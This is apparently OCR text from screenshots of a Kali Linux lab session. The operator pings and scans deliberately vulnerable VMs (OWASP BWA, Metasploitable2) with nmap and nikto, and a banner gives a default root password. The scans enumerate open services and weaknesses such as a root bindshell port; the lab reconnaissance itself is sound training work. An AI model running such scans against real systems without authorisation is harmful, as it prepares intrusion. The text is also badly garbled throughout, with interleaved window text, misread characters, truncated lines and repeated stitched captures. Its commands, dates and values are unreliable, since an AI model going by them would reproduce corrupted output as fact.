root@oshoxes:~/engagement# ip a & ip route
1: lo: <LOOPBACK,UP,LOWER UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_1ft forever preferred 1ft forever
inet6 ::1/128 scope host
valid_Lft forever preferred lft 1
2: eth@: <BROADCAST,MULTICAST,UP,LOWER I
link/ether 08:00:27:fb:5c:02 brd ff
inet 192.168.56.104/24 brd 192.168.%
valid_Lft 54dsec preferred lft 5¢
inet6 fe80::a00:27ff:fefb:5c02/64 s¢
valid_Lft forever preferred lft 1
192.168.56.0/24 dev eth® proto kernel s¢
root@oshoxes :~/engagement# [

¥ Don't show again

Auto capture keyboard .. %

% Don' show again
B owasp [Running] - Oracle VirtualBox

Fle  Machine  View  Input  Devices  Help

You can access the ueb apps at http://192.168.56.106/
You can administer / configure this machine through the console here, by SSHing
to 192.168.56.106, via Samba at \\192.168.56.106\, or via phpmyadmin at
http://192.168.56.106/phpnyadnin.

In all these cases, you can use username “root” and passuord “ouaspbua”.

rootRouaspbua:~# ifconf ig

etho Link encap:Ethernet Huaddr 08:00:27:a4:82:1e

92.168.56.106 Boast:192.168.56.255 Mask:255.255.255.0
ink

inet add
inetb addr: feBO::a00:27ff :fead:B21e/64 Scope
UP BROADCAST RUNNING MULTICAST MTU:1500 HMetris
RX packets:2? errors:0 dropped:0 overruns:0 frame:0
TX packets:45 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000

RX bytes:5562 (5.5 KB) TX bytes:6076 (6.0 KB)

lo Link encap:Local Loopback
inet addri127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:l
RX packets:?3 errors:0 dropped:0 overruns:0 frame:0
TX packets:?3 errors:0 dropped:0 overruns:@ carrier:0
collisions:0 txqueuelen:0
RX bytes:19521 (19.5 KB) TX bytes:19521 (19.5 KB)

rootRouaspbua
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Thu19:21

Applications ~  Places ~

Mouse integration .. *

Y root@osboxes: ~/engagement

aaa W Don't show again

root@oshoxes:~/engagement# ip a && ip route
1: lo: <LOOPBACK,UP,LOWER UP> mtu 65536 qdisc nogueue state UNKNOWN group default glen 1000
Link/Loopback 00:00:00:00:00:00 brd © gg .,
inet 127.0.0.1/8 scope host lo .
valid_1ft forever preferred 1ft fo
aaaaaa inet6 ::1/128 scope host
valid_1ft forever preferred 1ft fo
2: etho: <BROADCAST,MULTICAST,UP,LOWER UP.
link/ether 08:00:27:b:5c:02 brd ff:f
inet 192.168.56.104/24 brd 192.168.56
valid_1ft 544sec preferred lft 544
inet6 fe8o::a00:27ff:fefb:5c02/64 sco prE————
valid Lft forever preferred lft fo icrosoft Windous [Uersion 6.1.76011
192.168.56.0/24 dev etho proto kernel sco Copyright <c> 2009 Microsoft Corporation. ALl rights reserved.

root@oshoxes:~/engagement# [| [C:\Users\IEUser>ipconf ig

in7 [Running] - Oracle VirtualBox Auto capture keyboard .. %

file  Machine  View  Input  Devices  Help % Dot show sgain

iindous TP Configuration

[Echernet adapter Local Area Connection:

Connection-specific DNS Suffix
Link-local IPué Address £080: :80ac 4126 :£a58:1h81%10
IPud Address 192.168.56.107

Subnet Mask 255.255.255.0

Default Gateway

Tunnel adapter icatap.<6DEASOLE-BSCF-4A14-B170-6BEB28164F97)

Media State Media disconnected
Connection-spec

C:\Users\IEUser>_

T VIO R, YO0 TV S0 Uay S S TSt DOk 108 W Ses 5 o

minutes after boot stating the days left (i the system tray).

Re-arm:

In some cases (Windows XP, Vista, and 7), it may be possible to further extend the initial tral period if
there are rearms left. The following commands can be run from an administrative command
prompt (right-click on Command Prompt and select the ‘Run as Administrator’ option).

Show current license, time remaining, re-arm count (all except Windows XP):
slmgr /dly

Re-arm (all except Windows XP). Requires reboot.
simgr frearm

Re-arm (Windows XP only). Note that no error is given in the case no rearms are left.
rundll32.exe syssetup, SetupOobeBnk

e
"
E]
>
-

For Windows 8, 8.1 and 10, you will NOT be able to re-arm the trial.

Ao o saen
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@ Kali Linux 20193

i =} X
File  Machine  View  Input  Devices  Help
Applications v Places > [ Terminal ~ - &
B root@osboxes: ~/engagement
13 Mouse integration .. *
File _Edit ch
222 root@osboxes : # ip a & ip route % Don't show again

1: lo: <LOOPBACK,UP,LOWER UP> mtu 65536 qdisc noqueue state UNKNOWN group default glen 1000
ink/loopback 09:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_1ft forever preferred 1ft forever
aaaaaa inet6 ::1/128 scope host
valid_1ft forever preferred 1ft forever
etho: <BROADCAST,MULTICAST,UP,LOWER UP> mtu 1500 qdisc pfifo fast state UP group default glen 1000
link/ether 08:00:27:fb:5c:02 brd ff:ff:ff:ff:ff:ff
inet 192.168.56.104/24 brd 192.168.56.255 scope global dynamic noprefixroute ethe
valid 1ft 544sec preferred lft 544sec
inet6 fe80::a00:27ff:fefb:5c02/64 scope link noprefixroute
valid 1ft forever preferred 1ft forever
192.168.56.0/24 dev etho proto kernel scope link src 192.168.56.104 metric 100
root@oshoxes : # ping -c2 192.168.56.105 ; ping -c2 192.168.56.106 ; ping -c2 192.168.56.107
PING 192.168.56.105 (192.168.56.105) 56(84) bytes of data
64 bytes from 192.168.56. 10 L 4 time=2.38 ms
64 bytes from 192.168.56. 10 I 4 time=1.95 ms

Auto capture keyboard .. ¥

% Don't show again

2

--- 192.168.56.105 ping statistics --

2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 1.949/2.164/2.379/0.215 ms

PING 192.168.56.106 (192.168.56.106) 56(84) bytes of data

64 bytes from 192.168.56.106: icmp_seq=
64 bytes from 192.168.56.106: icmp_se

--- 192.168.56.106 ping statistics ---

2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 1.522/2.136/2.751/0.614 ms

PING 192.168.56.107 (192.168.56.107) 56(84) bytes of data

192.168.56.107 ping statistics ---
2 packets transmitted, 0 received, 100% packet loss, time 1016ms

o=l

root@osboxes : A |
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Y root@osboxes: ~/engagement

Mouse integration .. x

File Edit ch Terminal Help
root@oshoxe # ip a && ip route
1: lo: <LOOPBACK,UP,LOWER UP> mtu 65536 qdisc noqueue state UNKNOWN group default glen 1000
ink/loopback 09:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_1ft forever preferred 1ft forever
aaaaaa inet6 ::1/128 scope host
valid_1ft forever preferred 1ft forever
etho: <BROADCAST,MULTICAST,UP,LOWER UP> mtu 1500 qdisc pfifo fast state UP group default glen 1000
link/ether 08:00:27:fb:5c:02 brd ff:ff:ff:ff:ff:ff
inet 192.168.56.104/24 brd 192.168.56.255 scope global dynamic noprefixroute ethe
valid 1ft 544sec preferred lft 544sec
inet6 fe80::a00:27ff:fefb:5c02/64 scope link noprefixroute
valid 1ft forever preferred 1ft forever
192.168.56.0/24 dev etho proto kernel scope link src 192.168.56.104 metric 100
root@oshoxes : # ping -c2 192.168.56.105 ; ping -c2 192.168.56.106 ; ping -c2 192.168.56.107
PING 192.168.56.105 (192.168.56.105) 56(84) bytes of data
64 bytes from 192.168.56. 10
64 bytes from 192.168.56.105: icmp_seq=2 ttl=64 time=1.95 ms

aaa W Don't show again

B Auto capture keyboard .. ¥

% Don't show again

2:

--- 192.168.56.105 ping statistics --
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 1.949/2.164/2.379/0.215 ms

PING 192.168.56.106 (192.168.56.106) 56(84) bytes of data

64 bytes from 192.168.56.106: icmp_se
64 bytes from 192.168.56.106: icmp_seq:

--- 192.168.56.106 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 1.522/2.136/2.751/0.614 ms

PING 192.168.56.107 (192.168.56.107) 56(84) bytes of data.

--- 192.168.56.107 ping statistics --
2 packets transmitted, 0 received, 100% packet loss, time 1016ms

o=l

root@osboxes : # ip route ; ping -c3 8.8.8.8
192.168.56.0/24 dev eth® proto kernel scope link src 192.168.56.104 metric 100
ping: connect: Network is unreachable

root@osboxes : #
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root@osboxes: ~/engagement

File Edit ch Terminal Help
root@osboxes : # ping -c2 192.168.56.105

ping -c2 192.168.56.106 ; ping -c2 192.168.56.107

PING 192.168.56.105 (192.168.56.105) 56(84) bytes of data

64 bytes from 192.168.56.105: icmp_seq=
64 bytes from 192.168.56.105: icmp_se

--- 192.168.56.105 ping statistics ---

2 packets transmitted, 2 received, 0% packet loss, time 1002ms

rtt min/avg/max/mdev = 1.949/2.164/2.379/0.215 ms

PING 192.168.56.106 (192.168.56.106) 56(84) bytes of data

64 bytes from 192.168.56.106: icmp_se

64 bytes from 192.168.56.106: icmp_seq=2 ttl=64 time=1.52 ms

--- 192.168.56.106 ping statistics ---

2 packets transmitted, 2 received, 0% packet loss, time 1002ms

rtt min/avg/max/mdev = 1.522/2.136/2.751/0.614 ms

PING 192.168.56.107 (192.168.56.107) 56(84) bytes of data

--- 192.168.56.107 ping statistics ---

2 packets transmitted, 0 received, 100% packet loss, time 1016ms

root@oshoxes:

# ip route ; ping -c3 8.8.8.8

192.168.56.0/24 dev etho proto kernel scope link src 192.168.56.104 metric 100

ping: connect: Network is unreachable
root@osboxes:

# sudo nmap -sn 192.168.56.0/24

Starting Nmap 7.80 ( https://nmap.org ) at 2026-08-13 19:27 EDT

Nmap scan report for 192.168.56.1

Host is up (0.00061s latency).

MAC Address: 0A:00:27:00:00:08 (Unknown
Nmap scan report for 192.168.56.100

Host is up (6.000365 latency).

MAC Address: 08:00:
Nmap scan report for 192.168.56.105
Host is up (6.0014s latency).

D:C3:A1 (Oracle VirtualBox virtual NIC)

MAC Address: 08:00:27:37:69:F8 (Oracle VirtualBox virtual NIC)

Nmap scan report for 192.168.56.106
Host is up (0.0021s latency).

MAC Address: 08:00:27:A4:82:1E (Oracle VirtualBox virtual NIC)

Nmap scan report for 192.168.56.107
Host is up (0.0020s latency).

MAC Address: 08:0
Nmap scan report for 192.168.56.104
Host is up.

0:B8:D0 (Oracle VirtualBox virtual NIC)

Nmap done: 256 IP addresses (6 hosts up) scanned in 27.89 seconds

root@oshoxes: #
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@ Kali Linux 2019:3 [Running] - Oracle VirtualBox - [} X
File ~ Machine  View  Input  Devices  Help
Applications ~  Places v Terminal ~ o ®
% root@osboxes: ~/engagement
B Mouse integration ... *
e File Edit ch Termin
Starting Nmap 7.80 ( https://nmap.org ) at 2026-08-13 19:27 EDT W Don't show again
Nmap scan report for 192.168.56.1
Host is up (0.00061s latency).
B MAC Address: A:0f 0:00:08 (Unknown) Auto capture keyboard .. %
Nmap scan report for 192.168.56.100 =
aaaaaa Host is up (0.00036s latency). Do

MAC Address: 08:0! D:C3:Al (Oracle VirtualBox
Nmap scan report for 192.168.56.105

Host is up (0.0014s latency).

MAC Address: 08:0! 7:69:F8 (Oracle VirtualBox
Nmap scan report for 192.168.56.106

Host is up (0.0021s latency).

MAC Address: 08:00:27:A4:82:1E (Oracle VirtualBox
Nmap scan report for 192.168.56.107

Host is up (0.0020s latency).

MAC Address: ©8:00:27:10:B8:D@ (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.104

Host is up.
Nmap done: 256 IP addresses (6 hosts up) scanned in 27.89 seconds
root@oshoxes: # sudo nmap -sn 192.168.56.0/24 -oA evidence/discovery ; ls -1 evidence/
Starting Nmap 7.80 ( https://nmap.org ) at 2026-08-13 19:29 EDT

Nmap scan report for 192.168.56.1

Host is up (0.00079s latency).

MAC Address: 0A:00:27:00:00:08 (Unknown)

Nmap scan report for 192.168.56.100

Host is up (©.0013s latency)

MAC Address: 08:0! D:C3:Al (Oracle VirtualBox virtual NIC)

Nmap scan report for 192.168.56.105

Host is up (0.0018s latency).

MAC Address: 08:0! 7:69:F8 (Oracle VirtualBox virtual NIC)

Nmap scan report for 192.168.56.106

Host is up (0.0018s latency).

MAC Address: 08:0! 4:82:1E (Oracle VirtualBox virtual NIC)

Nmap scan report for 192.168.56.107

Host is up (0.0013s latency).

MAC Address: 08:0! 0:B8:D@ (Oracle VirtualBox virtual NIC)

Nmap scan report for 192.168.56.104

Host is up.
Nmap done: 256 IP addresses (6 hosts up) scanned in 28.07 seconds

total 12

-rw-r--r-- 1 root root 410 Aug 13 19:30 discovery.gnmap

-rw-r--r-- 1 root root 872 Aug 13 19:30 discovery.nmap

-rw-r--r-- 1 root root 2264 Aug 13 19:30 discovery.xml

root@oshoxes : = | ]

virtual NIC)

virtual NIC)

virtual NIC)
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root@oshoxes:~# mkdir -p ~/engager

Starting Nmap 7.80 ( https://nmap.org ) at 2026-8-13 1
Nmap scan report for 192.168.56.106
Host is up (0.00034s latency).
Not shown: 65526 closed ports

PORT STATE SERVICE VERSTON
22/tcp  open ssh OpenssH 5.3pl Debian 3ubuntu4 (Ubuntu Linux; protocol 2.0
| ssh-hostkey

| 1024 ea:8 5:5a:a6:8¢:43:1c:3c:e3:18:dd: fc:88:a5 (DSA

|_ 2048 3a:9 f:e0:a2:7a:b8:c3:94:d7:5e:00:55:0c:a7 (RSA

80/tcp open http Apache httpd 2.2.14 ((Ubuntu) mod_mono/2.4.3 PHP/5.3.2-lubuntu4.30 with Suhosin-Patch proxy html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod_ssl/2.2.14 OpenSSL...)
| http-methods:

|_ Potentially risky methods: TRACE

|_http-server-header: Apache/2.2.14 (Ubuntu) mod_mono/2.4.3 PHP/5.3.2-lubuntu4.30 with Suhosin-Patch proxy html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod_ssl/2.2.14 OpenssL/0.9.8k Phusion Passenger/4.0.38 mod
_perl/2.0.4 Perl/v5.10.1

|_http-title: owaspbwa OWASP Broken Web Applications

139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP

143/tcp open imap Courier Imapd (released 2008

|_imap-capabilities: NAMESPACE SORT THREAD=REFERENCES THREAD=ORDEREDSUBJECT IDLE UIDPLUS IMAP4revl ACL2=UNIONAGOO1 OK CHILDREN ACL completed CAPABILITY QUOTA
443/tcp open ssl/https?

|_ssl-date: 2026-08-14T00:35:42+00:00; +59m59s from scanner time

445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP

5001/tcp open java-object Java Object Serialization

8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1

|_http-server-header: Apache-Coyote/1.1

|_http-title: Site doesn't have a title

8081/tcp open http Jetty 6.1.25

| http-methods:
|_ Potentially risky methods: TRACE

|_http-server-header: Jetty(6.1.25)

|_http-title: Choose Your Path

1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5001-TCP:V=7.80%I=7%D=8/13%Time=6A7E54A7%P=x86_64-pc-Linux-gnusr(NU

SF:LL,4,"\xac\xed\0\x05'
MAC Address: 08:00:27:A4:82:1E (Oracle VirtualBox virtual NIC
Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

*oEz=0  ON

Host script results:

|_clock-skew: mean: 59mS8s, deviation: @s, median: 59m58s

|_nbstat: NetBIOS name: OWASPBWA, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| “smb-security-mode:

| account used: guest

| authentication level: user

| challenge response: supported

|_ message_signing: disabled (dangerous, but default)

| _smb2-time: Protocol negotiation failed (SMB2)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 145.30 seconds
root@oshoxes :~/engagement# [|
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Applications > Places ~

root@osboxes: ~/engagement

143/tcp open imap Courier Imapd (released 2008

|_imap-capabilities: NAMESPACE SORT THREAD=REFERENCES THREAD=ORDEREDSUBJECT IDLE UIDPLUS IMAP4revl ACL2=UNIONAGOO1 OK CHILDREN ACL completed CAPABILITY QUOTA

443/tcp open ssl/https?

|_ssl-date: 2026-08-14T00:35:42+00:00; +59m59s from scanner time

445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP

5001/tcp open java-object Java Object Serialization

8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1

|_http-server-header: Apache-Coyote/1.1

|_http-title: Site doesn't have a title

8081/tcp open http Jetty 6.1.25

| http-methods:

|_ Potentially risky methods: TRACE

| _http-server-header: Jetty(6.1.25)

|_http-title: Choose Your Path

1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5001-TCP:V=7.80%I=7%D=8/13%Time=6ATE54A7%P=x86_64-pc-Linux-gnusr(NU

SF:LL,4,"\xac\xed\0\x05") ;
MAC Address: 08:00:27:A4:82:1E (Oracle VirtualBox virtual NIC
Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:

|_clock-skew: mean: 59m58s, deviation: s, median: 59m58s

| nbstat: NetBIOS name: OWASPBWA, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| “smb-security-mode:

| account_used: guest

| authentication level: user

| challenge response: supported

|_ message signing: disabled (dangerous, but default)

| “smb2-time: Protocol negotiation failed (SMB2

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 145.30 seconds

root@oshoxes:~/engagement# nmap --script http-enum -pso 192.168.56.106

Starting Nmap 7.80 ( https://nmap.org ) at 2026-68-13 19:38 EDT

Nmap scan report for 192.168.56.106

Host is up (0.0014s latency).

oM z=0  ON

PORT  STATE SERVICE
80/tcp open http

| http-enum:

| /wordpress/: Blog
| /test/: Test page
|  /mono/: Mono

| /crossdomain.xml: Adobe Flash crossdomain policy

| /phpmyadmin/: phpMyAdmin

| /wordpress/wp-login.php: Wordpress login page

| /cgi-bin/: Potentially interesting folder w/ directory listing
| /icons/: Potentially interesting folder w/ directory listing

|_ /images/: Potentially interesting folder w/ directory listing
MAC Address: 08:00:27:A4:8.

E (Oracle VirtualBox virtual NIC)

- Nmap done: 1 IP address (1 host up) scanned in 44.84 seconds
/é root@oshoxes :~/engagement# [|
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osboxes: ~/engagement

Nmap done: 1 IP address (1 host up) scanned in 44.84 seconds
root@osboxes:~/engagenent# nikto -h http://192.168.56.106
- Nikto v2.1.6

192.168.56.106

+ Target T
+ Target Hostname:  192.168.56.106

+ Target Port: 80

+ start Time 2026-68-13 19:39:57 (GMT-4)

+ Server: Apache/2.2.14 (Ubuntu) mod_mono/2.4.3 PHP/S.3.2-lubuntud.30 with Suhosin-Patch proxy html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod_ssl/2.2.14 OpenssL/e.9.8k Phusion Passenger/4.0.38 mod_perl/2.0.4
Perl/vs.10.1

server may leak inodes via ETags, header found with file /, inode: 286483, size: 28067, mtime: Thu Jul 30 22:55:52 2015

The anti-clickjacking X-Frame-Options header is not present.

The X-Xss-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS

The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type

0SVDB-3268: /cgi-bin/: Directory indexing found.

/crossdomain.xnl contains a full wildcard entry. See http://jeremiahgrossman.blogspot.con/2008/05/crossdonainxml -invites-cross-site. html

Unconmon header 'tcn' found, with contents: list

Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http:
found: index.css, index.html

0SVDB-39272: /favicon.ico file identifies this app/server as: owasp.org

1P address found in the 'location' header. The IP is "127.6.1.1%.

0SVDB-630: The web server may reveal its internal or real IP in the Location header via a request to /images over HTTP/1.0. The value is "127.6.1.1".

mod_mono/2.4.3 appears to be outdated (current is at least 2.8)

OpenssL/e.9.8k appears to be outdated (current is at least 1.1.1). OpensSL 1.6.60 and 0.9.8zc are also current

Perl/vs.10.1 appears to be outdated (current is at least v5.20.0)

Phusion_Passenger/4.0.38 appears to be outdated (current is at least 4.0.53)

Apache/2.2.14 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.

mod_ss1/2.2.14 appears to be outdated (current is at least 2.8.31) (may depend on server version)

proxy_html/3.6.1 appears to be outdated (current is at least 3.1.2)

mod_perl/2.0.4 appears to be outdated (current is at least 2.0.8)

PHP/5.3.2-lubuntu4.30 appears to be outdated (current is at least 7.2.12). PHP 5.6.33, 7.6.27, 7.1.13, 7.2.1 may also current release for each branch.

Python/2.6.5 appears to be outdated (current is at least 2.7.8)

mod_ss1/2.2.14 0penssL/6.9.8k Phusion Passenger/4.6.38 mod_perl/2.0.4 Perl/v5.10.1 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. http://cve.mitre.org|
cgi-bin/cvename. cgi?name=CVE-2002-0082, 0SVDB-756.

Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE

0SVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST

Retrieved x-powered-by header: PHP/5.3.2-1lubuntud.30

Cookie phpbb2owaspbwa_data created without the httponly flag

Cookie phpbb2owaspbwa_sid created without the httponly flag

0SVDB-3692: /phpmyadnin/changelog.php: phpMyAdnin is for managing MySQL databases, and should be protected or limited to authorized hosts.

0SVDB-3268: /test/: Directory indexing found.

0SVDB-3092: /test/: This might be interesting
0SVDB-3268: /icons/: Directory indexing found.

0SVDB-3268: /images/: Directory indexing found.

0SVDB-3233: /icons/README: Apache default file found

/phpmyadnin/: phpMyAdnin directory found

0SVDB-3092: /phpmyadnin/Documentation.html: phpHyAdmin is for managing MysQL databases, and should be protected or limited to authorized hosts.
8877 requests: 1 error(s) and 35 iten(s) reported on remote host

End Time 2026-08-13 19:42:26 (GMT-4) (149 seconds)

+ 1 host(s) tested
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+ End Time
+ 1 host(s) tested
root@shoxes:~/engagement# sudo nmap -sC -sV -p- 192.168.56.105
Starting Nmap 7.80 ( https://nmap.org ) at 2026-08-13 19:44 EDT
Nmap scan report for 192.168.56.105
Host is up (0.0071s latency).
Not shown: 65505 closed ports

PORT STATE SERVICE VERSTON
21/tcp  open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230
ftp-syst:
STAT:

|
|
| FTP server status:
| Connected to 192.168.56.104

| Logged in as ftp

| TYPE: ASCIT

| No session bandwidth limit

| Session timeout in seconds is 300

| Control connection is plain text

| Data connections will be plain text
| VSFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp  open ssh
| ssh-hostkey

| 1024 60:0f:cf:el:co:5:6a:74:d6:90:24:fazca:d5:6c:cd (DSA)

OpenssH 4.7p1 Debian 8ubuntul (protocol 2.0)

|_ 2048 56:5 f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:3 (RSA
23/tcp  open telnet Linux telnetd
25/tcp  open smtp Postfix smtpd

root@osboxes: ~/engagement

|_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, B8BITMIME, DSN,

|_ssl-date: 2026-08-13T23:46:58+00:00; -1s from scanner time
| “sslv2

| sSLv2 supported

| ciphers:

| SSL2_DES_64_CBC_WITH_MD5

| SSL2_RC4_128_EXPORT40_WITH_MD5

| SSL2_RC2_128_CBC_WITH MD5

| SSL2_RC2_128_CBC_EXPORT40_WITH_MD5

| SSL2_RC4_128 WITH_MD5

|_ SSL2_DES_192 EDE3_CBC_WITH_MD5

53/tcp  open domain ISC BIND 9.4.2

| dns-nsid

|_ bind.version: 9.4.2

80/tcp  open http Apache httpd 2.2.8 ((Ubuntu) DAV/2

|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
|_http-title: Metasploitable2 - Linux

111/tcp  open rpcbind 2 (RPC #100000)
139/tcp  open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp  open exec netkit-rsh rexecd
513/tcp  open login OpenBSD or Solaris rlogind
514/tcp  open shell Netkit rshd
1099/tcp open java-rmi GNU Classpath grmiregistry
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Search Terminal Help
445/tcp  open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP

512/tcp  open exec netkit-rsh rexecd
513/tcp  open login 0penBsD or Solaris rlogind
514/tcp  open shell Netkit rshd

1099/tcp open java-rmi GNU Classpath grmiregistry
1524/tcp open bindshell —Metasploitable root shell

2049/tcp open nfs 2-4 (RPC #100003
2121/tcp open ftp ProFTPD 1.3.1
3306/tcp open mysql MySQL 5.6.51a-3ubuntus
| mysql-info:

| Protocol: 10

| version: 5.0.51a-3ubuntus

| Thread Ip: 8

| capabilities flags: 43564

|  Some Capabilities: SupportsTransactions, Speaks41ProtocolNew, Support4lAuth, ConnectWithDatabase, SwitchToSSLAfterHandshake, LongColumnFlag, SupportsCompression
| status: Autocommit

|_ salt: cuD4vwpOx0$bCdRLf<6=

3632/tcp open distccd distccd vl ((GNU) 4.2.4 (Ubuntu 4.2.4-lubuntud)
5432/tcp open postgresql PostgresQL DB 8.3.0 - 8.3.7

|_ssl-date: 2026-08-13T23:46:57+00:00; -25 from scanner time

5900/tcp open vnc VNC (protocol 3.3

| vnc-info:

| Protocol version: 3.3

| Security types:

|_ VUNC Authentication (2)

6000/tcp open X11 (access denied

6667/tcp open irc UnrealTRCd

6697/tcp open irc UnrealTRCd

8009/tcp open ajpl3 Apache Jserv (Protocol v1.3

|_ajp-methods: Failed to get a valid response for the OPTION request
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat

| _http-server-header: Apache-Coyote/1.1

|_http-title: Apache Tomcat/5.5

8787/tcp open drb Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb
47665/tcp open java-rmi  GNU Classpath grmiregistry

50363/tcp open mountd 1-3 (RPC #100005

54747/tcp open nlockmgr  1-4 (RPC #100021

55156/tcp open status 1 (RPC #100024)

MAC Address: 08:00:27:37:69:F8 (Oracle VirtualBox virtual NIC)

Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; 0Ss: Unix, Linux; CP

iz ON

cpe:/o0: linux: linux_kernel

Host script results:

|_clock-skew: mean: -1s, deviation: s, median: -2s

| ms-sql-info: ERROR: Script execution failed (use -d to debug)

| nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| “smb-os-discovery: ERROR: Script execution failed (use -d to debug)

| “smb-security-mode: ERROR: Script execution failed (use -d to debug)

| _smb2-time: Protocol negotiation failed (SMB2

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 241.43 seconds
2 root@oshoxes :~/engagement# [|
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Applications > Places ~

root@osboxes: ~/engagement

File Edit \ ch Terminal Help
MAC Address: 08:00:27:37:69:F8 (Oracle VirtualBox virtual NIC)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; 0Ss: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results

|_clock-skew: mean: -1s, deviation: s, median: -2s

| ms-sql-info: ERROR: Script execution failed (use -d to debug)

| nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| “smb-os-discovery: ERROR: Script execution failed (use -d to debug)

| “smb-security-mode: ERROR: Script execution failed (use -d to debug)

| “smb2-time: Protocol negotiation failed (SMB2

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 241.43 seconds

root@osboxes:~/engagement# sudo nmap -p- 192.168.56.105

Starting Nmap 7.80 ( https://nmap.org ) at 2026-68-13 19:49 EDT

Nmap scan report for 192.168.56.105

Host is up (0.0044s latency).

Not shown: 65505 closed ports

PORT STATE SERVICE
21/tcp  open ftp

22/tcp  open ssh

23/tcp  open telnet
25/tcp  open smtp

53/tcp  open domain
80/tcp  open http
111/tcp  open rpcbind
139/tcp  open netbios-ssn
445/tcp  open microsoft-ds
512/tcp  open exec
513/tcp  open login
514/tcp  open shell
1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs
2121/tcp open ccproxy-ftp
3306/tcp open mysql
3632/tcp open distccd
5432/tcp open postgresql
5900/tcp open vnc
6000/tcp open X11
6667/tcp open irc
6697/tcp open ircs-u
8009/tcp open ajpl3
8180/tcp open unknown
8787/tcp open msgsrvr
47665/tcp open  unknown
50363/tcp open unknown
54747/tcp open  unknown
55156/tcp open unknown

MAC Address: 08:00:27:37:6:

oz ON

8 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 35.99 seconds
2 root@osboxes :~/engagement#
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root@osboxes: ~/engagement

File Edit \ ch

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 241.43 seconds
root@osboxes:~/engagement# sudo nmap -p- 192.168.56.105
Starting Nmap 7.80 ( https://nmap.org ) at 2026-08-13 19:49 EDT
Nmap scan report for 192.168.56.105

Host is up (0.0044s latency).

Not shown: 65505 closed ports

PORT STATE SERVICE

21/tcp  open ftp

22/tcp  open ssh

23/tcp  open telnet

25/tcp  open smtp

53/tcp  open domain

80/tcp  open http

111/tcp  open rpcbind

139/tcp  open netbios-ssn

445/tcp  open microsoft-ds

512/tcp  open exec

513/tcp  open login

514/tcp  open shell

1099/tcp open rmiregistry

1524/tcp open ingreslock

2049/tcp open nfs

2121/tcp open ccproxy-ftp

3306/tcp open mysql

3632/tcp open distccd

5432/tcp open postgresql

5900/tcp open vnc

6000/tcp open X11

6667/tcp open irc

6697/tcp open ircs-u

8009/tcp open ajpl3

8180/tcp open unknown

8787/tcp open msgsrvr

47665/tcp open  unknown

50363/tcp open unknown

54747/tcp open unknown

